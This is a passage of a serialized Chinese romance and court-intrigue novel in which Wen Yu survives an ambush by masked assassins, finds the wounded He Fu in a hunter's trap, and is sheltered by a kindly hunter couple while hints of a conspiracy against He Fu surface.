圣阳紧紧盯着那人,似乎是觉得有些熟悉,但下一刻树后就走出另一个人。
一个、两个、三个……等到最后,竟足足出现了十八个人。
各个人高马大孔武有力,都是黑衣蒙面,手中拿着弯刀。
温余暗道不好,她和圣阳怕是都要栽在这里。
“对不起啊。”温余有些抱歉,若不是她叫圣阳过来,她也不会面对这样的危机。
圣阳却道:“这时候还说这种话,果真是没胆量的贱民。”
不知为何,听到圣阳这声贱民温余竟生出一种恍如隔世的感觉,“第一次听到这词这么舒服。”
圣阳拧眉:“你贱吧?”
“你都叫我贱民了!”
圣阳还想回嘴,但现在的情形不允许。她对温余道:“若是怕就躲在石头后面,可别当我的累赘。”
“我觉得我前些日子的训练还是有一定成果的。”
温余从腰间拿出那把熟悉的小刀,圣阳哇一声:“缩小版?你要用亲情打动人家?”
没得温余回话,一支利箭便向圣阳的侧脸袭来,温余手快用刀将那
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箭劈开,圣阳看向树顶那人,道:“我去抓那个高的,剩下的交给你了。”
“诶不是……”
看着圣阳一蹬朝着树顶那人飞去,温余看看底下的十八个黑衣人有些无措。
算了,拼一把!
温余冲上前去,贺扶曾告诉过她,面对块头大的对手,身量娇小便成了长处,对手无法做到的敏捷,她可以。
靠着贺扶教过的法子,温余一口气夺过了十人的攻势。硬着头皮与这些人纠缠许久,温余便没了力气,若是一两个还可以,但这十几个着实是有些为难。
此刻黑衣人将她团团围住,已经没有了突破的可能,而圣阳也被那面具人摔在地上,倒在温余面前。
温余上前搀扶,“你没事吧?”
圣阳捂着胸口,似是有瘀血哽在喉头,她不解道:“那人竟能预判我的所有招式,还能轻松化解,简直……奇怪。”
温余帮圣阳顺着气,那面具人飞身而下,凑在一个黑衣人耳边说了些什么,温余听不懂,猜测应该是外邦的语言。
下一刻,那面具人便转身离去,圣阳挣扎着道:“你究竟是什么人!?”
黑衣人没有一瞬的停顿转身离开,但圣阳确信,这个人,她见过。
现在怎么办?
温余脑内飞速旋转,几乎要将自己身上的没件东西都摸个遍,看看可有能用得上的。看着那黑衣人越靠越近,温余直接一股脑的将身上的所有东西都扔出去,但都是无济于事。
“真是被你害惨了,扫把星。”圣阳咬牙切齿道。
温余也没办法,握紧了手中的刀打算硬搏一把,在那黑衣人走到两人面前时拿起刀就往那人心口捅去,结果不出所料,还为碰到那人的衣裳就被半路止住。
黑衣人用力钳住温余的手腕,温余感觉自己的手都要断了。
这下是真的完蛋了……
温余几乎绝望,没想到在下一刻,那黑衣人愣住了。
准确来说,是盯着那把刀,愣住了。
温余也觉得奇怪,小心翼翼地动了动手腕,黑衣人从温余手中拿过刀,仔细看了许久都没有动作。
趁着黑衣人愣神之际,温余架起圣阳就往那个缺口跑。
见两人逃跑,其余黑衣人想追上去,但刚刚那个和面具人说过话的却做出一个制止的手势。
温余带着圣阳一股脑的往前跑,竟是又钻入了一片树林。
“别跑了,他们好像没追上来。”
温余停下,将圣阳放在一颗树旁让她靠着。
“那人刚刚拿了你什么东西?”圣阳问。
“就是那把你说弯刀缩小版的刀。”温余回答。
圣阳笑一声,“真有意思。”
“可别有意思了,你的伤怎么样?”温余还是担心她的伤势,有瘀血一定是要吐出来的。
圣阳摆手:“不用你管。”
“都什么时候了,还这样。”温余按住她的双肩,圣阳如临大敌:“你要干什么?”
“帮你把瘀血打出来!”温余伸手势头看着很足。
圣阳笑道:“你不会以为随便打打瘀血就出来……噗……”
“你……”圣阳嘴角还挂着黑血,一脸不可思议,“你要打死我啊?!”
59. 红叶观(五)
温余无辜道:“我帮你拍瘀血啊!”
“拍瘀血,拍瘀血你……”圣阳不说话了,虽然有些疼但瘀血确实是被拍了出来。
“你力气这么大?”
温余在她身边坐下,扯下裙摆准备处理自己的伤口,“是啊,都是搬棺材练出来的。”
“搬棺材?你?”圣阳笑了一声,温余的身量和宫中那位与她交好的公主差不多,那公主可谓娇生惯养,提一桶水都困难,而温余竟然能搬得动棺材?
“怎么了,力气就是这么练出来的嘛!和你们那些提水桶踢木桩差不多嘛!”温余倒是说得随意。
“喂,你家里是做什么的?”圣阳似乎开始对温余觉得好奇了。
温余脱下鞋子,看着腿上狰狞的刀痕,眼都不眨地将它三寸以上绑起来,“扬州的知州,你之前不是打听过了吗?”
“是打听了,但就是好奇,再怎么说你都是亲生的女儿,就算是庶出也不能落到搬棺材谋生的地步吧?宫中的大臣就算是不喜一个孩子,表面工作也是会做好的。”
温余垂眸道,“那是因为有人在看着他们啊。”
圣阳看着那道血肉模糊的刀痕,温余竟能半句不叫的处理伤口,“没想到啊,之后你到了我府上我定要好好的找你的麻烦。”
“多谢。”温余道。
“谢什么?被疼傻了?”圣阳觉得莫名其妙。
温余将那伤口遮住穿上鞋,“那圣阳郡主的意思就是我们能安全回去了,多谢郡主金口玉言。”
圣阳切了一声。
“对了,您方才问了我问题,那我现在能否也问您一个问题?”
圣阳点头:“问吧,算是你刚刚帮了本宫的谢礼。”
“您为何喜欢贺大人?”
圣阳顿了顿,“自然是因为他是这宫中唯一一个能配得上本宫的人了!”
“这么说?”温余凑上前去。
“我爹和幸丞相交好,自小就和本宫说幸丞相的弟子是这世间极好,只有幸丞相的弟子才能配得上本宫,而他的弟子只有三位,章执已经有婚约在身,尚卿的父族又和我父亲不对付,所以就只有贺扶了。”
原来如此,温余点头。
“那你呢?为什么喜欢贺扶?”
温余一惊,“我没有说我喜欢……”
“别装了,看得出来,说吧,为什么?”圣阳半分不掩饰,问都问得直截了当。
温余沉默了,她确实喜欢贺扶,但是……
“因为他对我很好,但他对谁都很好,他似乎没有这样的想法。”温余有些失落。
任那家情窦初开的姑娘得知情路艰难都不会有什么好心情吧?
圣阳笑了,“我就知道,他最是吸引你这样的小姑娘了。之前去探幽之时,他就曾救过一位农家的姑娘,为人随和又斯文俊秀,那姑娘自然是对他心动了,竟想着要跟着他回绍王府,但贺扶对她无意啊,又不忍将话说得太重,拒绝之后那姑娘也不放弃,但无奈身份相隔,最后只能哭哭啼啼地嫁给同村的农夫。”
温余垂眸,似乎陷入了思索,圣阳拍拍她的肩:“别想太多,这本来就没可能的,趁早放弃吧。”
空气骤然变得沉默,隔了半晌后温余才起身。“我去给你找些水。”
“你……”圣阳顿了顿,“小心些吧,别被那些人追上来了。”
温余点头,转身离开。
幸运的是,温余在不远处发现了一条小溪,她揪了叶子从小溪中舀上一捧清水喝下,洗完脸后看着溪水中朦胧的倒影,她又开始想方才圣阳的话。
她喜欢贺扶,那贺扶会喜欢她吗?像贺扶那般谪仙似的人,仿佛不会有半分动情的心思,要让他喜欢一个人本身就很难,更别说在威胁之下,他定然不会将心爱的人拉进这样的泥潭。
真是难上加难。
整理了心情,温余捧起一捧水想要给圣阳带去,但回到原先的地方却没有看到圣阳的影子。
难道那些人追上来将圣阳带走了?
温余心中暗道不妙,拖着腿往方才打斗的地方跑去,但依旧没有影子。
她往前走了几步,来到那块巨石的旁边,莫不是也被扔下去了?
往前探了几步,温余有些犹豫,这未免也太陡了,而且下方几乎看不到有什么东西,她要怎么办?回去吗?
可是要回去定要路过小蓬莱,说不准会有人守在那里,那岂不是被抓个正着?
大不了一死,管他呢!
温余一闭眼,直接从那坡上跳下去。
等她回过神来,自己已经被摔在一堆落叶之中,因为有落叶托底,竟是没有什么伤。
那贺扶他们应该也不会有事了?!温余喜出望外。
她挣扎着站起身来,向前走去,但没走几步便觉得脚下一阵柔软,之后便一个不注意掉进了一个巨大的黑洞。
一声闷响过后,温余在黑暗中摸索着,似乎身子下铺着一个麻绳编织的网,像是山中猎户用来捕猎的陷阱。
她又往前摸了摸,竟摸到了一具温热的躯体。
温余一惊,可惜现在手里没有火折子,但当她再次仔细摸索过后,便知晓了这人的身份。
锦袍玉冠,不是贺扶又是谁?
还好,没有出事。
温余松了口气,靠近了一些。
现在想要出去怕是已经不可能了,只希望明早前来查看的猎户能发现她和贺扶。
她心里还是有些没底,不知是担心那些黑衣人的动向还是担心贺扶的情况,只能握住贺扶的手,缓缓靠在泥土壁上,给自己打气。
没事的,只要等到明日一早,就没事了。
会没事的,一定会没事的!
一夜过去,天边渐渐泛起鱼白,一抹亮光透进极深的洞中,温余总算是盼来了天明。
她露出个疲惫的笑来。
又等了片刻,温余感受身下的网缓缓收紧。
有人来了!
温余抱紧了贺扶,等待着被拉出洞去。
那猎户在看到网内的两人后也是一阵诧异,“你们是谁?为何会在这里?”
温余嘴唇发白,昨夜随意的处理并不能支撑太
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久,到了后半夜她就觉得浑身发冷,好像腿上的血都要流干了一般,没有任何知觉。
“救……救他……”
还没等到那猎户放下网,温余便双眼一黑晕了过去。
再次醒来时,温余已经被放在了床上,身边响起一道平淡的女声:“姑娘醒了?”
温余坐起身:“贺大人呢?”
“贺大人?”妇人轻柔的为温余擦着腿,“是那位公子吧?我夫君在照顾他,他伤得有些重。”
“那就好。”温余心中的大石头算是落了地,“那你们可有见过另一位姑娘,穿着白衣。”
妇人摇了摇头,“这倒是没见过。”
“那好吧。”温余抿起唇,唇上有些干,妇人递上了水,是温水。
温余喝过后看向窗外,已经又是傍晚了。虽然圣阳的情况还暂且不知,但她还是不由生出一些劫后余生的感觉来。
“诶,你先别动,你的腿伤得很重,得再缓一缓才行。”妇人按住想要下床的温余。
“我想去看看他。”温余还是很担心贺扶的情况,不知他受了怎样的伤现在应该还没有醒过来。
不行,还是得去看看!
温余还是挣扎着下了床,妇人本想阻拦,但见她这幅样子只好无奈跟上去。
“好在家中有一间客房,我就让我夫君将他安置在客房了。”妇人推开了木门,正巧对上准备外出的猎户,“那位公子怎么样了?”
猎户看看妻子又看看一脸担忧的温余,叹了口气:“背上,手臂都有很多刀口,家里剩下的草药只能处理浅些的伤口,还有很多刀伤都能看到骨头了,可能比较难处理。”
说罢,他又问温余:“你是什么人?为什么会掉进陷阱里?又为什么会伤成这样?”
温余伸长了脖子往屋里望,但只能堪堪看到一个身影,听猎户这么问只好回答:“我和他是来这里参加灯会的游人,没想到遇到了仇家,所以才会发生这样的事情,打扰你们了。”
猎户听后还是有些怀疑,但妇人却拍拍他的肩道:“我看这两位也不是什么坏人,我们还是早些帮那位公子处理伤口吧。”
猎户只好作罢,点头:“那我去外面拾些草药。”
妇人点头,目送猎户离开后对温余道:“姑娘直接进去吧。”
温余本就心急如焚,得了允许后立刻跑进屋内,看着床上合眼躺着的贺扶,心中泛起一阵酸意。
无论发生什么事都优雅得体,如沐春风的人,此刻就这样躺在床上,双眼紧闭,已经发白的双唇抿成一条直线,就连平缓的呼吸此刻都变得虚弱。
她只觉得鼻头发酸,双眼不自觉的湿润,但还没等她流下泪,那妇人便从柜中取了针线、小刀和蜡烛过来了。
“姑娘先不要担心了,我夫君外出,还得劳烦你帮忙。”
温余抹了抹还未落下的泪,站起身吸吸鼻子,“要做什么?”
“点燃蜡烛,将这把刀放在火上烤一烤。”
温余接过刀,目光还恋恋不舍的在贺扶脸上徘徊,不多时,她点头:“好。”
60. 红叶观(六)
刀刃被烧得发红,妇人接过刀,又道:“劳烦将这位公子翻个身。”
温余上前帮忙,翻过身,妇人将贺扶背上的衣裳用剪刀剪开,一道狰狞地伤口便展现在温余眼前,面前两人都不住倒吸一口气。
隔了近一日,那伤口已经有些微微发黑,但从依旧鲜红的血肉中森森白骨若隐若现。
温余眉头皱了起来。
“若是姑娘难以接受,可以暂且转头过去。”妇人提醒,但温余摇头:“没事的,我可以看着。”
妇人微微一笑,“那就再请姑娘举着烛火,我好看清楚伤口。”
闻言温余照做。只见那妇人用刀轻柔且利落的割下伤口中的烂肉,鲜血顷刻流出,染红了他身下藏青色的床褥。
温余看得直皱眉,只觉得那刀像是割在了自己身上一般,浑身发寒。
将烂肉割下后,妇人又将针放在火上烧红,穿了线后自刀口一侧开始缝,她的下手快准狠,但奈何刀口太长,砍得又太深,一直到了后半夜,才将那一道刀口缝合好。
将全身的伤口处理完后,正巧赶上猎户将草药带来。
此时,已经是第二天清晨了。
妇人将带着露珠的草药碾碎,一点一点铺在贺扶身上,最后用绷带绑住,就算是处理好了伤口。
她又拿出一部分草药包起来递给温余,叮嘱了她上药的注意事项后告诉她等贺扶醒了就快些离开吧。
温余知道她的意思,她虽然救了两人,但依旧对两人的身份有所怀疑,自然也是怕自己也惹上仇家,快些离开也能让他们的危险少一些。
“多谢。”温余不知要做些什么才能偿还两人的大恩,那妇人摇头:“不必客气,你们掉进我夫君的陷阱才耽误了救治,这也算是我们偿还你们的,这样我们便两清了。”
“看您的手法,应该是时常为人处理伤口?”温余想着要为两人做点什么,于是趁着贺扶还未醒来时坐在院中帮他们砍柴。
妇人不远处的灶台忙碌,“我夫君外出打猎也常常遇到这样的情况,这么多年我也习惯了,不过你和这位公子的运气也很好,我是第一次上手这么严重的伤。”
“但,还是多谢您了。”
妇人笑了笑,没有说话,猎户外出打猎应该很快就要回来了,她要快些做好饭菜等他,此刻锅里的正是猎户在采药时顺便带回来的鱼。
“我还帮那位公子煮了粥,你先去帮他换药吧。”
温余将剩下的柴都劈好,整齐地堆在墙角后便起身进屋,要换的药就放在桌上,温余一眼便能看到。她将贺扶扶起,解开猎户借给他的褐色粗布上衣,开始为他换药。
取下纱布,一条狭长如蜈蚣的刀口爬在光滑白皙的背上,温余一时有些无助,但说不上来是哪里无助。
对面要杀贺扶的,是章执。
就算是她有通天的本领,在皇权之下,一切的挣扎都似徒劳,更别说如今圣上极其信任章执,只要章执一句话,杀谁不是杀呢?
她原本还期望着章执会碍于兄弟情义,不会对贺扶痛下杀手,但经过前天一事,她几乎是绝望了。
她该怎么办?贺扶该怎么办?
她不知道,她什么都不知道。
“贺大人……”
换好了药,温余轻柔地将贺扶放好。
“你说我们要这么办啊?如果你知道了首辅大人要杀你,你会怎么办?会伤心吗?还是会觉得恐惧?”
温余伸手拨开沾在贺扶脸颊上的发丝,盯着他的脸看了好一会儿。
“贺大人,你一直担心自己的身份会给身边人带来威胁,你想把所有人都推开,但你为何从来不过问身边人的心意呢?”
其实温余心里还有好多话,但在当下竟是说不出来什么,况且有些话是要当面说给他的。
妇人的声音从屋外传来,是唤她出去吃饭的,一直到现在温余还未曾吃过东西
最多只是喝了些水,此时自然也是饿得前胸贴后背了。
一张有些破旧的木桌,温余看得出这是手工做的,虽然有些粗糙但不难看出工匠的用心。
这间小屋并没有很大,也没有多精致,内里陈设大多都是些手作的东西。
温余双手接过妇人递上的筷子,面前的碗里是满满的粟米粥,和夫妇二人碗里的相比多了不少。
“多谢你们了,还不知二位贵姓。”温余问道。
“没什么贵的,叫我三叔就行,周围人都这么叫。”猎户笑得憨厚。
温余叫了一声,三叔也高兴地应了。
一顿饭后,温余端了粥打算给贺扶送去,掀开帘子一看,便见贺扶正挣扎着起身。
她立刻上前制止:“先别动,背上的伤口会裂开的!”
贺扶被温余扶着躺回去,他看向温余的目光中带着疑惑:“这里是……”
“您之前掉进了猎户的陷阱,好在被猎户救出来了,现在是在那猎户的家里。”温余仔细回答。
“那些人是且末人。”
贺扶自幼便待在朝中跟在幸安身边,对于与左晋交好的且末人,他也时常在幸安府中见到过,那把带着羊角图腾的弯刀,他自然记得清楚。
虽然近些年来且末败落,但也未曾有过叛乱之事,再者且末水草丰盈也没有来左晋抢夺资源的情况,那那些人又是为何要杀贺扶呢?
且末距离崇安甚远,千里迢迢来此只为了杀贺扶?
贺扶不明白,但让他更加担忧的是那面具人,他与且末有联系,那便说明这组织与且末有联系,绍王府灭门,竟与且末人有关?
他好像突然想起了什么,他父亲以一个外姓得以封王正是因为在三十年前大败且末,正因如此,左晋才得以与且末交好。
这一切,莫非是且末人怀恨在心的报复?
但奇怪的是,且末人怎能随意进出上京,还能如此嚣张地灭了绍王满门?若是说其中没有左晋内应相助,怕是没有人会相信。
“贺大人……”温余欲言又止,她要告诉章执之事吗?她该告诉吗?
贺扶动了动手臂,但扯到了背后的伤口,额上又渗出些冷汗来,他扯
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扯嘴角:“我没事了,让你担心了。”
这个时候了,还这幅样子。
“我不是说这个,只是……我怀疑这观中有那组织的内应!谢旧逃跑定是有人在暗中出手,然后引您出去。”温余换了一个委婉的说法。
贺扶长睫颤了颤,“我知道。”
他知道?是知道观内有内应还是知道章执想害他?
温余不知道怎么说了,只能硬着头皮安慰:“其实,人与人之间并不是毫无保留的,来也去也也是命运使然,您不必……”
贺扶皱起眉,有些茫然:“你在说什么?”
温余诶了一声:“您不是说已经知道了吗?”
“之前谢旧说的,这朝中有内应,我现在确信。只是不知是何人,而且昨日的那面具人我觉出几分熟悉来,这还得待我回去,彻查一番。对了,你方才说什么来也去也,是何意?”
是温余想多了,贺扶压根没有机会知晓章执之事,她暗暗在心中抽了自己几个嘴巴,立刻找补:“我这不是想着,同在一朝为官,其中有人要杀您,您怕是会伤心,所以我才想……安慰您。”
贺扶笑了笑,“朝廷之中,暗流涌动,谁是真情谁是假意都一清二楚,我并无几人交心,所以你不必安慰我。就算是真的至亲之人,我也可以接受,天下无不散的宴席,我也知晓。”
温余心中还是不免担忧,就算是听贺扶这般说也不信贺扶能完全接受手足的背叛。
见温余还是愁眉苦脸,贺扶用力抬起了手臂想要拍拍她的肩,但只到半空便背后一阵发疼,口中溢出难忍的哼声,温余立刻上前:“您先别乱动呀,您可知您背后的那道伤口有多长多深,那妇人帮您缝都缝了许久,看着都骇人,您还是别动了,若是真扯开了,我可就不管您了!”
那张粉润如玉的唇不断开合,吐出的都是些带着凶意的话,不让人觉得害怕,反倒像一只耍狠的小兽,贺扶忍俊不禁却又被温余骂道:“还笑!这不好笑!受那么重的伤,您竟然还笑得出来?”
贺扶无奈道:“好好好,我不笑,阿蓁莫要生气了,可好?”
温余扁扁嘴:“我没生气,只是有些担心您。”
贺扶伸手端起温余放在小桌上的碗,“我自然知晓是你担心我,所以这些天让你担心了,抱歉。”
温余立刻上前接过碗,将枕头垫在贺扶腰间,没有碰到他背上的伤,“不用道歉,你也不许自己动手,我来就好。”
贺扶有些无措,“我还是自己来吧,这点小事我可以的。”
温余躲过贺扶伸来的手,毅然拒绝:“我来。”
她坐在床边,舀起一勺白粥吹了吹,递在贺扶面前,“哝。”
贺扶动作有些僵硬,沉默半晌后还是将那勺粥吞下。
软糯香甜,还带了些药香。
“这是……?”
温余满意一笑:”我做的!先前有和霁尘君学过些药膳的做法,就在粥里加了药,怎么样不错吧?”
一勺粥又递到贺扶面前,他再次张口吞下,“好吃。”
61. 红叶观(七)
“我就知道。”温余似乎早就料到了贺扶会说好,“来再吃一口!”
那双盯着自己的眸子黑白分明,亮晶晶的仿佛是夜空中的启明星一般,好像自从父母去世后,贺扶便从未被旁人喂过饭,反倒是他给别人喂的时候多。
“阿蓁。”贺扶叫住端着空碗往外走的温余。
温余回头,耳边的小辫子在空中划出一道完美的线条,最后轻轻与脸颊一碰,乖顺地停在脸侧。窗外晨光熹微,正有暖色的光束透过窗棂洒在室内,贺扶可以清晰的看到空气中的微尘,温余就站在其中,一身洗的发白的雪青色粗袍,如珠的面庞上带着笑,她嗯了一声,“怎么了?”
贺扶唇角微微勾起,“无事。”
温余有些不知所云,又对贺扶道:“那猎户夫妇说等您醒来能走了就让我们离开,我们何时走?”
贺扶略一思索,“我们今晚就走。”
那妇人推门进来,“夜路不好行,还是明日一早走吧。”
见恩人进来,贺扶想起身行礼,但被妇人制止:“不必了,我只是进来拿件东西。”之后她又对温余说:“我们的碗都洗好了,那个你自己洗。”
温余乖巧点头:“哦。”
到了傍晚,天边泛起霞红,妇人在小院中晾晒的草药之类也该收起了,温余殷勤地上去帮忙,那猎户也回了家,坐在一旁的木椅上做着木工,时不时抬头看看仔细摘草药的妻子,然后露出一个笑来。
温余手下的动作变慢,这身处于般温馨的场景之中,就算是外人也能感到一丝幸福。
“阿蓁。”贺扶撑了一根临时做的粗木拐杖,是温余中午时那粗树干做的。
见贺扶出来,温余立刻放下手中的活去迎他,“您怎么出来了?”
“透透气,一直待在屋里有些闷。”贺扶莞尔。
温余拿来板凳扶着贺扶在猎户身边坐下,那猎户也招呼了一声后继续低头做木工,温余则端了簸箕在贺扶身边坐下。
那猎户问:“我还不知你二人是……?”
贺扶回答:“这是我家中小妹。”
“小妹?”猎户似乎有些不信,温余也在一旁扁嘴:“才不要当小妹。”
贺扶又笑,“并非亲生,只是跟在我身边,如家人一般,方才那一句占了她的便宜,倒是教她不服气了。”
温余看了贺扶一眼,表情别扭:“也不是不服气,就是有些……”
她的声音轻轻的,被猎户的声音压了过去,“不过看你们之前的穿着,应该是大户人家,此次来灯会却遇到了这事情,等灯会当日可得多求求神明,让他们保佑保佑你们。”
贺扶随不信神佛,但还是点头:“多谢大哥。”
“不知,大哥与嫂夫人又是为何来此处?看嫂夫人的模样应当并非山野中人。”
那妇人随一身素,但举手投足间却不少闺秀气质,贺扶一眼便看出来了。
“她确实不是这山野里的人。”猎户看向妻子的目光中带着爱意。
“她曾是崇安城中一家医馆的独女,只是跟了我之后才被迫来到这深山之中,我亏欠她许多。”
“为何?”温余有些好奇。
猎户解释道:“因为我之前年轻气盛,一心想着要行侠仗义,又太过莽撞,得罪了不少人,那些要对我下手,我不敌他们伤了一条腿,为了救我,窈娘便带我来了山中躲避,一来,就是三年。”
“我曾经对窈娘说,让她离我远些,说她跟在我身边会害了她,我的仇家定会找她的麻烦,但她说没关系,因为我们是一家人,既然是一家人那就要一直在一起,无论前方险阻,只要在一起便什么都不怕了。”
窈娘也收好了草药走上前来,“你们说什么呢?”
猎户憨笑一声:“没什么,就是说娘子你对我很好。”
“对你好?”窈娘将簸箕往一边放了放,“若不是你救了我父亲的命我才不会嫁给你这个憨货。”
说罢,窈娘推门进了屋子,猎户笑道:“窈娘就是这样,嘴硬心软,但我就是喜欢她这样。我还时常在想,若是她不坚持留在我身边,最后嫁给了别人我该有多难过,不过还好,我们都没有放开彼此的手。”
贺扶垂下眸子,没有说话。
“对啊,既然是家人那就要一直在一起,绝对不能因为一些小事就分开!再说了,谁又能预知未来的事情呢?不一定就是不好的结局,说不准还能有意外的收获呢?对不对啊,贺大人?”
温余用肩膀撞了撞贺扶,贺扶看向她:“一家人,要一直在一起?”
温余点头:“对啊,方才三叔都说了,您没听到?”
贺扶又沉默了,一旁的猎户看到这一幕笑了笑:“我看你们到不像是兄妹。”
贺扶立刻转头,想要转移话题,“像什么?”
“像一对少年夫妻。”
贺扶脑内本来就乱,被猎户这么一说就更乱了。
“诶,脸红了?被我说中了?我告诉你们,我看人可是很准的,你们可别不相信啊!”
猎户还要继续说,贺扶打断了他:“我想走一走,大哥莫要在打趣了。”
贺扶挣扎着站起身,转身向小院中的一颗枇杷树旁走去。
温余还愣着,猎户又问:“怎么?你这小姑娘,喜欢你家大人吧?”
“……我,我确实是喜欢他,可是……”温余垂眸。
猎户笑得爽朗,“既然喜欢就说啊,怕什么?怕他拒绝你?你这般伶俐的小姑娘,我看他喜欢都来不及呢,怎么可能拒绝你?”
温余摇了摇头:“不是的,我和他之间不单单是这些的,还有些事情没有解决。”
“那那些事情和你们之间的感情有关系吗?”猎户问。
温余又摇头:“没关系。”
“那不就得了!”猎户倒是直接,“感情是感情,其他是其他,你若是今日不说,等到来日因为迟疑错过,怕是要抱憾的!”
“那我去说了?”温余试探着问。
猎户决然点头,“说!”
温余手中捏着草药叶子,“我得找个好机会再说。”
猎户欣慰道:“这不就行了?好孩子啊!”
天边残阳落下,迎来了一轮圆月。
明日就是中秋了。
红叶观
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客堂内,幸安负手站在窗前看着那一轮圆月,他身后站着的是一个魁梧的男人,身着黑袍,面无表情,活像是一位冷面罗刹。
“你家那小丫头可还好?”幸安转着那枚翡翠玉扳指。
男人点头,声音也是冷冷:“多谢丞相关系,阿钰没事。”
幸安转过头,笑了:“那便好,贺扶他们有消息吗?”
“还未找到,但这山中也不大,不过是时日问题。”
“既如此,那我们便不找了。”
男子诧异道:“为何?”
幸安踱步至男子面前,拍了拍他的肩膀:“他们自己会回来的。”
“那丞相可有什么其他的吩咐?”男人抱拳。
幸安转身坐在太师椅上,轻笑了一声后赞道:“果真聪明,你记得翰林院的朱复吗?”
男人点头:“自然记得,近些日子霁尘君一直在追查之前换卷一案,您的意思……”
男人眼中闪过一丝狠厉,“解决掉?”
幸安没有直接回答,只是叹了口气,“虽然他确实是一个不错的下属,但有时候该舍就要舍,有舍才有得。”
“我的意思是,无论至亲还是至信,有舍才有得。”
男人浑浊的眸子更加暗了,良久,他才再次开口:“是,属下明白。”
“既然明白就早些回去准备吧。”幸安摆摆手,表情依旧淡然,他伸手摸了摸桌上摆放的兰草,像是对待一个极其疼爱的小辈一般,温柔缱绻。
他叹了口气,月光透过窗户打在他脸上,是那样柔和儒雅,那样可亲和蔼。
“嚓”的一声,兰草被摔在地上,那尚好的瓷瓶也被一带摔在地上,被摔得粉碎。
幸安站起身来,无视地上的兰草,直接踩了上去。
踩过兰草,他又回到了窗边,口中念念有词,“这么快就是中秋了,过了中秋再过些日子便是阿扶的生辰了,这次得好好操办操办。”
……
次日一早,温余和贺扶回到了红叶观,道宁一听温余回来就小跑着迎上来。
他拉着温余的手关切道:“阿余姐姐你可还好?这些日子不见,又听阿钰姐姐所说,我还有以为你……我差点就要给你点长生灯了!那灯座我都从师叔房里偷过来了!”
温余扯了扯嘴角:“这倒不必了。不过你刚刚说阿钰姐姐,她现在在哪儿?可还安好?”
道宁点点头:“她很好,只是有些风寒,正在屋里休息。”
听圣阳安全,温余才松了口气。
贺扶倒是奇了:“你同阿钰的关系何时这般好了?”
温余挠挠头:“也没多好,就是那夜外出寻您一同经历的生死没之前那么针锋相对就是了。”
“其实阿钰只是被宠坏了,自小在宫中无人敢与她反着来,所以才养成了这般我行我素的性子,如今你们能和平相处,真是再好不过了!”贺扶声音温然。
道宁盯着贺扶看了许久,“这位大人生得真好看!”
贺扶摸摸道宁的头,“多谢小友夸赞。”
道宁摸摸被贺扶摸过的头,嘿嘿笑了几声:“是真的好看!”
62. 红叶观(八)
贺扶前一步到客堂中还未坐下便见门猛得被推开,温余也吓了一跳,转头一看见启蛰正气喘吁吁地站在门口。
“诶,你怎么也过来了?”温余开口问。
启蛰一个箭步走上前,握着温余的肩膀把她转了一圈儿,“你没事吧?”
“没事就是腿伤了些。”温余被转得晕了,有些愣愣的道。
启蛰确认温余没事后又径直向贺扶走去,“大人,您……”
看到贺扶苍白的脸色,启蛰的泪一下子就流了下来,他抽抽噎噎地擦着泪,“您还说让我留在这里,可我才刚刚离开不久您就伤成这个样子,您这让我怎么放心啊!”
“男儿有泪不轻弹,怎么哭成这样子?”贺扶想要起身安慰,却被启蛰猛得按在凳子上。
“您受伤了,别起来。”
但下一刻,启蛰看到贺扶忽然皱起的眉头,慌忙收手。
“我,我是不是按到伤口了?”启蛰慌忙向温余求证,温余点点头上前帮忙查看。
好在没什么大问题。
启蛰一脸愧疚的站在一旁,看着温余将贺扶扶上塌后才道:“大人……您能不能不赶我走了?”
“我不是在赶你走。”贺扶无奈道,“只是担心你的安全。”
“我也担心您的安全。”启蛰又道。
贺扶看着启蛰红了的眼眶,忽然想起了那对猎户夫妇的话。
一家人,无论险阻都要一起面对。
隔了半晌,贺扶才道:“罢了,我想安静一会儿你们先出去吧。”
启蛰还要再说,却被温余扯着胳膊拉出了房间。
“你做什么?你不是说要帮我吗?”启蛰靠在廊上,眼眶还是红的。
“所以才要让他好好想想啊!”温余道。
有些时候旁人劝说并不能改变他的想法,只有让他自己思索斟酌才行。
“可是……可是……”说着说着启蛰又哽咽了起来,温余还从不知道他这么爱哭。
见他收不住,温余上前拍拍他的背表示安慰,结果他抬眼看了看温余后直接扑进了温余怀里。
温余一惊,又听启蛰哽咽道:“以后我不在了,你一定要照顾好大人啊!不要让大人再受伤了。”
说着,他还想把自己的剑给温余,“这把剑是我最喜欢的,留给你,你要用它保护好大人……”
温余越听越觉得不对劲,“你临终托孤啊?还以为你要死了呢!”
她伸手把剑按在启蛰的胸膛上,“这个我不要!我使不来,你还是自己拿着,自己保护你家大人吧!我用脑子。”
启蛰吞了吞口水,“你什么意思啊?难道大人不会赶我走了?”
“这个我不确定,但我这次还有一件特别重要的事情要和你说。”
见温余严肃起来,启蛰也吸吸鼻子,问她:“什么事?”
温余四下看了看,寻了个没有人的地方将启蛰拉过去。
“这么神秘?”启蛰觉得好奇。
温余酝酿一会儿后,先给启蛰说一句:“这件事很令人震惊,你一定要相信我。”
“你说吧,我当然相信你。”启蛰认真道。
“首辅大人和谢旧有联系,而且这次引贺大人前去受伤的就是首辅大人的人,他们的目的是要杀贺大人。”
“什么?!!”启蛰双目瞪大,嘴张了半晌才找回自己的声音,“你……从哪儿知道的?首辅大人与我家大人情同手足,怎么可能会害我家大人?你可是被人骗了?”
温余神色认真,轻轻摇了摇头。
“我亲耳听到,亲眼看到的,而且他们还和且末人有联系。”
启蛰不停摇着头,他着实不相信,首辅大人虽不善言辞但对于贺扶从来是信任有加疼爱有加,无论从别处寻来什么好东西都要分给贺扶一份,突然说他要杀贺扶,简直是胡说八道!
“你在哪儿听得到?有什么证据?你……”启蛰忽然一顿。
且末人……
“你说,且末人?”启蛰不确定道。
“能和且末人有联系且知晓贺扶行动的,还会有谁?”温余脸色也不太好,若非她当真听到看到,她也不愿意相信。
启蛰沉默了许久,“为什么呢?首辅大人为什么要杀我家大人?”
“我也不知道。但你说且末人,这和贺大人有什么关系?”温余记得圣阳提到且末人时也有些愣神。
启蛰缓缓道:“当年绍王出征且末,大败且末军队,才得以封为王侯。左晋与且末相交也是因为这一仗。他们若是对绍王府怀恨在心,那也……正常。”
温余点点头,原来如此。
“那首辅大人和且末人联系又是为了什么呢?”温余还是不知。
启蛰摇摇头,“我不知道,可是……”
温余知道,他还是对章执的事情耿耿于怀。
“你,有没有告诉大人?”启蛰又问。
温余摇头,“没有,我只告诉了你一个,其他人我都不敢说,只能相信你了。”
“那我们要不要告诉……”
话没说完,两个熟悉的身影出现在启蛰的视线中,正在向贺扶居住的客堂走去。
